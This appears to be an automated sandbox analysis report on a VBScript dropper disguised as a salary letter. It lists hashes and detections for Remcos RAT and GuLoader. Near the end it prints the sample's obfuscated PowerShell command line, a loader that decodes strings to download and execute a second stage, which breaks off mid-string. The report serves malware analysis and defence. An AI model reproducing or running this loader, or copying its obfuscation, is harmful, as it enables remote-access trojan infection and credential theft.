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Windows
Analysis Report
Salary Increase Letter_Oct 2024.vbs
Overview
General Information
| Sample name: | Salary Increase Letter_Oct 2024.vbs |
| Analysis ID: | 1530593 |
| MD5: | 35c0401fa3a0988df57e978eaa661dd2 |
| SHA1: | a07a742be842b55f4218d8c9f6f2287c21baf2db |
| SHA256: | 165cb6e17955b9dbc743f800788545b61e296119b10d22efea0cfb2f1ceb4ed5 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
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Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
wscript.exe (PID: 6232 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Salar y Increase Letter_Oc t 2024.vbs " MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 948 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Gearst ngers Chec koffs Unap pealingly spectatres s Asynkron Proglotti s #>;$Roma ncy='Greyf ly';<#Isra elitter Di kotomien P avens Doku mentbehand lings Xeno phobia Nel #>;$Gloss ocomium44= $Velstands stigning+$ host.UI;If ($Glossoc omium44) { $Kautioner ingernes++ ;}function Perspicab le($React) {$Yecchs=$ stactes+$R eact.'Leng th'-$Kauti oneringern es; for( $ Mglingerne s=3;$Mglin gernes -lt $Yecchs;$ Mglingerne s+=4){$Kor dninger='R omancens'; $Tudehoved ets+=$Reac t[$Mglinge rnes];$Tus indfryds=' stenrkners ';}$Tudeho vedets;}fu nction Unm udded($Lis tevalget){ & ($B ikarbonate rs) ($List evalget);} $Fagomraad ernes=Pers picable ' I MFrsof.r zDiai splT ollnedas r /Lgn5Bla.W ee0Dmo Win (NysWUnciA fhnl ad U oUnswOvese ,u C N D T Cey ste1De m0Par.For0 .ry; as aa W,luiTr.nJ ,n6Hum4Cri ;Pla skaxO pe6Gyr4s m ;Per UrirU gevDiv:Er. 1Hys2bet1s lu.Hal0For )F,r re GF oreVi.c s. kFagoKon/E mp2Gar0 No 1s m0Aut0C o 1Ph,0 Ud 1,po NiF H oiAzorspke salfT doAg rxTis/Fre1 Fej2gas1U, f.Amb0 u ' ;$Novelise rs=Perspic able ' quu Fiss P.EFe dr ,v-T.oA Bnfg E e e nsp T B. ' ;$stigma=P erspicable 'R,th V t yptstepFl a:Vol/ i/A .gl tunFo 6sexb a9 G a. Ens nhs ouoR spDam / dsIsndB Roo eld re HGlyWBreP FewHow/ sc KNomo svkN okkDraeBes rObteAb r ChiEndnU s g Ar.stioC h.c Inx ev ';$Milieu ers=Perspi cable 'b r >Ben ';$Bi karbonater s=Perspica ble ' asiK ivE uXCh, ';$Paraffi neredes='i mplicity'; $stofmisbr ugs='\Loku mernes.sus ';Unmudded (Perspica ble 'Usi$ flgEm L Re o Vab slA OmL Ha: Ca FstuO opR erdIcom A Tjou= Ls$w heeVe,NPot v et:MonaF ysPElsPA p dAi ATreTI ntA,ro+ co $Laks rTVa cOsenF orM raI Dessv eBEntrsakU Pu gEubsBo h ');Unmud ded (Persp icable 'Po l$ ftgManl tro unBsa mAIntLPej: MtT whuD, mAT xr o E PargAre=ba c$ .asAdrt ArviIncg D ,M naaGav. Tils LaPBe tLBe.IPo T Tr(Unp$Co lMagaisagL P eIskoELa nuUndE.roR Re,sKon)Pl a ');Unmud ded (Persp icable 'He l[smanAtte TritA k.De fsAnoe.lor Kr v niiMa ,C suE,krP ferOsliiR, mNtr t agM efA vnNfo rAAn G .yE ImpRW m]Ka l:pri: Kas F reMe cs, ruBalrsmaI NobtH eyst rP stRReno Br.t B o s ac.mao roL Ch c o=Vib sov[ PiNU nbesnvtLet .Cars FoET ryCRekU He Rstai TitT idY FlPCur RN.do Vat .eoLincRes O silsent euyDepPMa e Pa]Ind: En:L,sTHea lR,fs.el1 sl2sen '); $stigma=$T uareg[0];$ Lithol31=( Perspicabl e ' Ac$ kr GPreLP eOK vaB omA al l.no:s emA ntoBipNG.o o TrNBalos laM suiTnd AP rNEje= TrnDy eU e WTil-PumOB unbsikJUdt eOpecBopT, es sydsTyn yF,ssHaltO uteM lmFev .M cn,hoeA rmT sa. st WtoreIndB soCTirlYo i U eRanN HyT nt '); Unmudded ( $Lithol31) ;Unmudded (Perspicab le 'Tid$Un uM Kaopron pudo ven.i moEf mKori Ba a omnUl y.sp,HGale